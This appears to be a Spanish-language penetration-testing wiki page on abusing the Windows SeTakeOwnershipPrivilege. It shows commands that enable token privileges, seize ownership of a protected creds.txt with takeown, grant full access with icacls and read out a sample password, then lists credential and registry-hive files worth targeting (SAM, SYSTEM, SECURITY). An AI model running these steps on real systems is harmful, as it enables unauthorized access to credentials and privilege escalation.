SeTakeOwnershipPrivilege
El privilegio SeTakeOwnershipPrivilege concede a un usuario la capacidad de tomar posesión de cualquier "objeto protegido", lo que incluye objetos de Active Directory, archivos y carpetas NTFS, impresoras, claves del registro, servicios y procesos. Este privilegio otorga derechos WRITE_OWNER sobre un objeto, permitiendo al usuario modificar el propietario en el descriptor de seguridad del objeto. Por defecto, los administradores tienen este privilegio.
Abusando del privilegio
Revisión de los privilegios del usuario actual
PS C:\temp> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================================= ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Habilitación del privilegio SeTakeOwnership
Observe en el resultado que el privilegio no está habilitado. Podemos activarlo utilizando este script, que se describe en esta publicación de blog, así como en este artículo, que amplía el concepto inicial.
PS C:\temp> Import-Module .\Enable-Privilege.ps1
PS C:\temp> .\EnableAllTokenPrivs.ps1
PS C:\temp> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== =======
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Supongamos que existe un archivo llamado creds.txt al que no podemos acceder. Sin embargo, podemos utilizar este derecho para tomar posesión del archivo, lo que nos permitirá obtener acceso completo al mismo.
El siguiente comando puede utilizarse para tomar posesión de cualquier archivo, otorgándonos control sobre el mismo.
takeown /f 'C:\Shares\PrivateFiles\Secret\creds.txt'
Pero todavía no podemos acceder y necesitamos modificar la ACL.
Otorgar a nuestro usuario privilegios completos sobre el archivo de destino.
icacls 'C:\Shares\PrivateFiles\Secret\creds.txt' /grant username:F
Cambiar
username
por el nombre de nuestro usuario.
Si todo ha salido según lo previsto, ahora podremos leer el archivo de destino desde la línea de comandos, abrirlo si tenemos acceso RDP, o copiarlo a nuestro sistema de ataque para realizar un procesamiento adiciona.
PS C:\temp> cat 'C:\Shares\PrivateFiles\Secret\creds.txt'
WEBADMIN admin
admin:sup3rs3cretPa$$word!
Algunos archivos locales de interés pueden incluir:
c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
Última actualización